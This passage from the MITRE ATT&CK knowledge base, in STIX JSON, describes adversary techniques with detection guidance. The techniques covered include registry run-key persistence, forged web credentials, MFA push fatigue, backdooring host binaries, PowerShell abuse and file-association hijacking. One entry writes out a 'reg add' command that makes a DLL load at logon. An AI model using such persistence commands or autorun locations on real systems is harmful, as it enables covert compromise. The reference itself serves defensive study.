            "description": "Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nPlacing a program within a startup folder will cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in.\n\nThe startup folder path for the current user is:\n* <code>C:\\Users\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup</code>\nThe startup folder path for all users is:\n* <code>C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp</code>\n\nThe following run keys are created by default on Windows systems:\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce</code>\n\nThe <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx</code> is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. (Citation: Microsoft RunOnceEx APR 2018) For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx: <code>reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"C:\\temp\\evil[.]dll\"</code> (Citation: Oddvar Moe RunOnceEx Mar 2018)\n\nThe following Registry keys can be used to set startup folder items for persistence:\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders</code>\n* <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders</code>\n* <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders</code>\n\nThe following Registry keys can control automatic startup of services during boot:\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices</code>\n\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run</code>\n\nThe Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit</code> and <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell</code> subkeys can automatically launch programs.\n\nPrograms listed in the load value of the registry key <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> run when any user logs on.\n\nBy default, the multistring BootExecute value of the registry key <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager</code> is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.",
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            "x_mitre_contributors": [
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            "x_mitre_version": "1.1"
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--94cb00a4-b295-4d06-aa2b-5653b9c1be9c",
            "created": "2020-12-17T02:13:46.247Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1606",
                    "external_id": "T1606"
                },
                {
                    "source_name": "AWS Temporary Security Credentials",
                    "description": "AWS. (n.d.). Requesting temporary security credentials. Retrieved April 1, 2022.",
                    "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html"
                },
                {
                    "source_name": "Unit 42 Mac Crypto Cookies January 2019",
                    "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/"
                },
                {
                    "source_name": "GitHub AWS-ADFS-Credential-Generator",
                    "description": "Damian Hickey. (2017, January 28). AWS-ADFS-Credential-Generator. Retrieved September 27, 2024.",
                    "url": "https://github.com/pvanbuijtene/aws-adfs-credential-generator"
                },
                {
                    "source_name": "Microsoft SolarWinds Customer Guidance",
                    "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020.",
                    "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/"
                },
                {
                    "source_name": "Pass The Cookie",
                    "description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.",
                    "url": "https://wunderwuzzi23.github.io/blog/passthecookie.html"
                },
                {
                    "source_name": "Zimbra Preauth",
                    "description": "Zimbra. (2023, March 16). Preauth. Retrieved May 31, 2023.",
                    "url": "https://wiki.zimbra.com/wiki/Preauth"
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            "name": "Forge Web Credentials",
            "description": "Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access.\n\nAdversaries may generate these credential materials in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), [Steal Application Access Token](https://attack.mitre.org/techniques/T1528), and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users.\n\nThe generation of web credentials often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.(Citation: GitHub AWS-ADFS-Credential-Generator) Adversaries may also forge tokens by taking advantage of features such as the `AssumeRole` and `GetFederationToken` APIs in AWS, which allow users to request temporary security credentials (i.e., [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005)), or the `zmprov gdpak` command in Zimbra, which generates a pre-authentication key that can be used to generate tokens for any user in the domain.(Citation: AWS Temporary Security Credentials)(Citation: Zimbra Preauth)\n\nOnce forged, adversaries may use these web credentials to access resources (ex: [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)(Citation: Microsoft SolarWinds Customer Guidance)  ",
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                    "phase_name": "credential-access"
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            "x_mitre_contributors": [
                "Dylan Silva, AWS Security"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for anomalous authentication activity, such as logons or other user session activity associated with unknown accounts. Monitor for unexpected and abnormal access to resources, including access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "type": "attack-pattern",
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            "id": "attack-pattern--954a1639-f2d6-407d-aef3-4917622ca493",
            "created": "2022-04-01T02:15:49.754Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1621",
                    "external_id": "T1621"
                },
                {
                    "source_name": "Russian 2FA Push Annoyance - Cimpanu",
                    "description": "Catalin Cimpanu. (2021, December 9). Russian hackers bypass 2FA by annoying victims with repeated push notifications. Retrieved March 31, 2022.",
                    "url": "https://therecord.media/russian-hackers-bypass-2fa-by-annoying-victims-with-repeated-push-notifications/"
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                {
                    "source_name": "MFA Fatigue Attacks - PortSwigger",
                    "description": "Jessica Haworth. (2022, February 16). MFA fatigue attacks: Users tricked into allowing device access due to overload of push notifications. Retrieved March 31, 2022.",
                    "url": "https://portswigger.net/daily-swig/mfa-fatigue-attacks-users-tricked-into-allowing-device-access-due-to-overload-of-push-notifications"
                },
                {
                    "source_name": "Suspected Russian Activity Targeting Government and Business Entities Around the Globe",
                    "description": "Luke Jenkins, Sarah Hawley, Parnian Najafi, Doug Bienstock. (2021, December 6). Suspected Russian Activity Targeting Government and Business Entities Around the Globe. Retrieved April 15, 2022.",
                    "url": "https://www.mandiant.com/resources/russian-targeting-gov-business"
                },
                {
                    "source_name": "Obsidian SSPR Abuse 2023",
                    "description": "Noah Corradin and Shuyang Wang. (2023, August 1). Behind The Breach: Self-Service Password Reset (SSPR) Abuse in Azure AD. Retrieved March 28, 2024.",
                    "url": "https://www.obsidiansecurity.com/blog/behind-the-breach-self-service-password-reset-azure-ad/"
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            "modified": "2025-04-15T22:50:21.216Z",
            "name": "Multi-Factor Authentication Request Generation",
            "description": "Adversaries may attempt to bypass multi-factor authentication (MFA) mechanisms and gain access to accounts by generating MFA requests sent to users.\n\nAdversaries in possession of credentials to [Valid Accounts](https://attack.mitre.org/techniques/T1078) may be unable to complete the login process if they lack access to the 2FA or MFA mechanisms required as an additional credential and security control. To circumvent this, adversaries may abuse the automatic generation of push notifications to MFA services such as Duo Push, Microsoft Authenticator, Okta, or similar services to have the user grant access to their account. If adversaries lack credentials to victim accounts, they may also abuse automatic push notification generation when this option is configured for self-service password reset (SSPR).(Citation: Obsidian SSPR Abuse 2023)\n\nIn some cases, adversaries may continuously repeat login attempts in order to bombard users with MFA push notifications, SMS messages, and phone calls, potentially resulting in the user finally accepting the authentication request in response to \u201cMFA fatigue.\u201d(Citation: Russian 2FA Push Annoyance - Cimpanu)(Citation: MFA Fatigue Attacks - PortSwigger)(Citation: Suspected Russian Activity Targeting Government and Business Entities Around the Globe)",
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            "x_mitre_contributors": [
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                "Pawel Partyka, Microsoft 365 Defender",
                "Shanief Webb",
                "Obsidian Security",
                "Arun Seelagan, CISA"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor user account logs as well as 2FA/MFA application logs for suspicious events: unusual login attempt source location, mismatch in location of login attempt and smart device receiving 2FA/MFA request prompts, and high volume of repeated login attempts, all of which may indicate user's primary credentials have been compromised minus 2FA/MFA mechanism. ",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "IaaS",
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                "Office Suite",
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            "x_mitre_data_sources": [
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                "Logon Session: Logon Session Metadata",
                "Application Log: Application Log Content",
                "Logon Session: Logon Session Creation"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5",
            "created": "2020-02-11T18:18:34.279Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1554",
                    "external_id": "T1554"
                },
                {
                    "source_name": "Google Cloud Mandiant UNC3886 2024",
                    "description": " Punsaen Boonyakarn, Shawn Chew, Logeswaran Nadarajan, Mathew Potaczek, Jakub Jozwiak, and Alex Marvi. (2024, June 18). Cloaked and Covert: Uncovering UNC3886 Espionage Operations. Retrieved September 24, 2024.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/uncovering-unc3886-espionage-operations"
                },
                {
                    "source_name": "Unit42 Banking Trojans Hooking 2022",
                    "description": "Or Chechik. (2022, October 31). Banking Trojan Techniques: How Financially Motivated Malware Became Infrastructure. Retrieved September 27, 2023.",
                    "url": "https://unit42.paloaltonetworks.com/banking-trojan-techniques/#post-125550-_rm3d6xxbk52n"
                },
                {
                    "source_name": "ESET FontOnLake Analysis 2021",
                    "description": "Vladislav Hr\u010dka. (2021, January 1). FontOnLake. Retrieved September 27, 2023.",
                    "url": "https://web-assets.esetstatic.com/wls/2021/10/eset_fontonlake.pdf"
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            "modified": "2025-04-15T19:58:52.206Z",
            "name": "Compromise Host Software Binary",
            "description": "Adversaries may modify host software binaries to establish persistent access to systems. Software binaries/executables provide a wide range of system commands or services, programs, and libraries. Common software binaries are SSH clients, FTP clients, email clients, web browsers, and many other user or server applications.\n\nAdversaries may establish persistence though modifications to host software binaries. For example, an adversary may replace or otherwise infect a legitimate application binary (or support files) with a backdoor. Since these binaries may be routinely executed by applications or the user, the adversary can leverage this for persistent access to the host. An adversary may also modify a software binary such as an SSH client in order to persistently collect credentials during logins (i.e., [Modify Authentication Process](https://attack.mitre.org/techniques/T1556)).(Citation: Google Cloud Mandiant UNC3886 2024)\n\nAn adversary may also modify an existing binary by patching in malicious functionality (e.g., IAT Hooking/Entry point patching)(Citation: Unit42 Banking Trojans Hooking 2022) prior to the binary\u2019s legitimate execution. For example, an adversary may modify the entry point of a binary to point to malicious code patched in by the adversary before resuming normal execution flow.(Citation: ESET FontOnLake Analysis 2021)\n\nAfter modifying a binary, an adversary may attempt to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by preventing it from updating (e.g., via the `yum-versionlock` command or `versionlock.list` file in Linux systems that use the yum package manager).(Citation: Google Cloud Mandiant UNC3886 2024)",
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            "x_mitre_contributors": [
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                "Liran Ravich, CardinalOps",
                "Jamie Williams (U \u03c9 U), PANW Unit 42"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Collect and analyze signing certificate metadata and check signature validity on software that executes within the environment. Look for changes to client software that do not correlate with known software or patch cycles. \n\nConsider monitoring for anomalous behavior from client applications, such as atypical module loads, file reads/writes, or network connections.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "ESXi"
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            "x_mitre_version": "2.2",
            "x_mitre_data_sources": [
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                "File: File Modification",
                "File: File Metadata",
                "File: File Creation"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--9664ad0e-789e-40ac-82e2-d7b17fbe8fb3",
            "created": "2023-03-14T14:38:03.673Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
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                    "url": "https://attack.mitre.org/techniques/T1552/008",
                    "external_id": "T1552.008"
                },
                {
                    "source_name": "Slack Security Risks",
                    "description": "Michael Osakwe. (2020, November 18). 4 SaaS and Slack Security Risks to Consider. Retrieved March 17, 2023.",
                    "url": "https://www.nightfall.ai/blog/saas-slack-security-risks-2020"
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            "modified": "2025-04-15T21:56:22.979Z",
            "name": "Chat Messages",
            "description": "Adversaries may directly collect unsecured credentials stored or passed through user communication services. Credentials may be sent and stored in user chat communication applications such as email, chat services like Slack or Teams, collaboration tools like Jira or Trello, and any other services that support user communication. Users may share various forms of credentials (such as usernames and passwords, API keys, or authentication tokens) on private or public corporate internal communications channels.\n\nRather than accessing the stored chat logs (i.e., [Credentials In Files](https://attack.mitre.org/techniques/T1552/001)), adversaries may directly access credentials within these services on the user endpoint, through servers hosting the services, or through administrator portals for cloud hosted services. Adversaries may also compromise integration tools like Slack Workflows to automatically search through messages to extract user credentials. These credentials may then be abused to perform follow-on activities such as lateral movement or privilege escalation (Citation: Slack Security Risks).",
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                    "phase_name": "credential-access"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "Office Suite"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Application Log: Application Log Content"
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "created": "2020-03-09T13:48:55.078Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1059/001",
                    "external_id": "T1059.001"
                },
                {
                    "source_name": "Microsoft PSfromCsharp APR 2014",
                    "description": "Babinec, K. (2014, April 28). Executing PowerShell scripts from C#. Retrieved April 22, 2019.",
                    "url": "https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/"
                },
                {
                    "source_name": "SilentBreak Offensive PS Dec 2015",
                    "description": "Christensen, L.. (2015, December 28). The Evolution of Offensive PowerShell Invocation. Retrieved December 8, 2018.",
                    "url": "https://web.archive.org/web/20190508170150/https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/"
                },
                {
                    "source_name": "FireEye PowerShell Logging 2016",
                    "description": "Dunwoody, M. (2016, February 11). GREATER VISIBILITY THROUGH POWERSHELL LOGGING. Retrieved February 16, 2016.",
                    "url": "https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html"
                },
                {
                    "source_name": "Github PSAttack",
                    "description": "Haight, J. (2016, April 21). PS>Attack. Retrieved September 27, 2024.",
                    "url": "https://github.com/Exploit-install/PSAttack-1"
                },
                {
                    "source_name": "inv_ps_attacks",
                    "description": "Hastings, M. (2014, July 16). Investigating PowerShell Attacks. Retrieved December 1, 2021.",
                    "url": "https://powershellmagazine.com/2014/07/16/investigating-powershell-attacks/"
                },
                {
                    "source_name": "Malware Archaeology PowerShell Cheat Sheet",
                    "description": "Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.",
                    "url": "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf"
                },
                {
                    "source_name": "TechNet PowerShell",
                    "description": "Microsoft. (n.d.). Windows PowerShell Scripting. Retrieved April 28, 2016.",
                    "url": "https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx"
                },
                {
                    "source_name": "Sixdub PowerPick Jan 2016",
                    "description": "Warner, J.. (2015, January 6). Inexorable PowerShell \u2013 A Red Teamer\u2019s Tale of Overcoming Simple AppLocker Policies. Retrieved December 8, 2018.",
                    "url": "https://web.archive.org/web/20160327101330/http://www.sixdub.net/?p=367"
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            "modified": "2025-04-15T19:58:52.378Z",
            "name": "PowerShell",
            "description": "Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.(Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the <code>Start-Process</code> cmdlet which can be used to run an executable and the <code>Invoke-Command</code> cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).\n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nA number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363),  [PowerSploit](https://attack.mitre.org/software/S0194), [PoshC2](https://attack.mitre.org/software/S0378), and PSAttack.(Citation: Github PSAttack)\n\nPowerShell commands/scripts can also be executed without directly invoking the <code>powershell.exe</code> binary through interfaces to PowerShell's underlying <code>System.Management.Automation</code> assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)(Citation: Microsoft PSfromCsharp APR 2014)",
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            "x_mitre_contributors": [
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                "Ross Brittain"
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            "x_mitre_detection": "If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.\n\nMonitor for loading and/or execution of artifacts associated with PowerShell specific assemblies, such as System.Management.Automation.dll (especially to unusual process names/locations).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)\n\nIt is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations). (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features.(Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.\n\nConsider monitoring for Windows event ID (EID) 400, which shows the version of PowerShell executing in the <code>EngineVersion</code> field (which may also be relevant to detecting a potential [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)) as well as if PowerShell is running locally or remotely in the <code>HostName</code> field. Furthermore, EID 400 may indicate the start time and EID 403 indicates the end time of a PowerShell session.(Citation: inv_ps_attacks)",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_data_sources": [
                "Script: Script Execution",
                "Process: Process Creation",
                "Process: Process Metadata",
                "Command: Command Execution",
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        {
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            "id": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810",
            "created": "2017-05-31T21:30:30.757Z",
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            "revoked": true,
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1023",
                    "external_id": "T1023"
                },
                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/132.html",
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            "description": "Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.",
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            "x_mitre_contributors": [
                "Travis Smith, Tripwire"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "id": "attack-pattern--98034fef-d9fb-4667-8dc4-2eab6231724c",
            "created": "2020-01-24T13:40:47.282Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1546/001",
                    "external_id": "T1546.001"
                },
                {
                    "source_name": "Microsoft Change Default Programs",
                    "description": "Microsoft. (n.d.). Change which programs Windows 7 uses by default. Retrieved July 26, 2016.",
                    "url": "https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs"
                },
                {
                    "source_name": "Microsoft File Handlers",
                    "description": "Microsoft. (n.d.). Specifying File Handlers for File Name Extensions. Retrieved September 12, 2024.",
                    "url": "https://learn.microsoft.com/en-us/previous-versions/visualstudio/visual-studio-2015/extensibility/specifying-file-handlers-for-file-name-extensions?view=vs-2015"
                },
                {
                    "source_name": "Microsoft Assoc Oct 2017",
                    "description": "Plett, C. et al.. (2017, October 15). assoc. Retrieved August 7, 2018.",
                    "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/assoc"
                },
                {
                    "source_name": "TrendMicro TROJ-FAKEAV OCT 2012",
                    "description": "Sioting, S. (2012, October 8). TROJ_FAKEAV.GZD. Retrieved August 8, 2018.",
                    "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd"
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            "modified": "2025-04-15T19:58:52.605Z",
            "name": "Change Default File Association",
            "description": "Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility.(Citation: Microsoft Change Default Programs)(Citation: Microsoft File Handlers)(Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under <code>HKEY_CLASSES_ROOT\\.[extension]</code>, for example <code>HKEY_CLASSES_ROOT\\.txt</code>. The entries point to a handler for that extension located at <code>HKEY_CLASSES_ROOT\\\\[handler]</code>. The various commands are then listed as subkeys underneath the shell key at <code>HKEY_CLASSES_ROOT\\\\[handler]\\shell\\\\[action]\\command</code>. For example: \n\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command</code>\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command</code>\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command</code>\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands.(Citation: TrendMicro TROJ-FAKEAV OCT 2012)",
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                {
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                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
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            "x_mitre_contributors": [
                "Travis Smith, Tripwire",
                "Stefan Kanthak"
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            "x_mitre_detection": "Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process.\n\nUser file association preferences are stored under <code> [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts</code> and override associations configured under <code>[HKEY_CLASSES_ROOT]</code>. Changes to a user's preference will occur under this entry's subkeys.\n\nAlso look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
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                "Command: Command Execution",
                "Windows Registry: Windows Registry Key Modification"
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            "type": "attack-pattern",
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            "id": "attack-pattern--98be40f2-c86b-4ade-b6fc-4964932040e5",
            "created": "2020-01-14T01:35:00.781Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1055/014",
                    "external_id": "T1055.014"
                },
                {
                    "source_name": "Backtrace VDSO",
                    "description": "backtrace. (2016, April 22). ELF SHARED LIBRARY INJECTION FORENSICS. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20210205211142/https://backtrace.io/blog/backtrace/elf-shared-library-injection-forensics/"
                },
                {
                    "source_name": "Syscall 2014",
                    "description": "Drysdale, D. (2014, July 16). Anatomy of a system call, part 2. Retrieved June 16, 2020.",
                    "url": "https://lwn.net/Articles/604515/"
                },
                {
                    "source_name": "GNU Acct",
                    "description": "GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.",
                    "url": "https://www.gnu.org/software/acct/"
                },
                {
                    "source_name": "RHEL auditd",
                    "description": "Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.",
                    "url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing"
                },
                {
                    "source_name": "ArtOfMemoryForensics",
                    "description": "Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017."
                },
                {
                    "source_name": "ELF Injection May 2009",
                    "description": "O'Neill, R. (2009, May). Modern Day ELF Runtime infection via GOT poisoning. Retrieved March 15, 2020.",
                    "url": "https://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html"
                },
                {
                    "source_name": "VDSO Aug 2005",
                    "description": "Petersson, J. (2005, August 14). What is linux-gate.so.1?. Retrieved June 16, 2020.",
                    "url": "https://web.archive.org/web/20051013084246/http://www.trilithium.com/johan/2005/08/linux-gate/"
                },
                {
                    "source_name": "Chokepoint preload rootkits",
                    "description": "stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.",
                    "url": "http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html"
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            "modified": "2025-04-15T19:58:52.691Z",
            "name": "VDSO Hijacking",
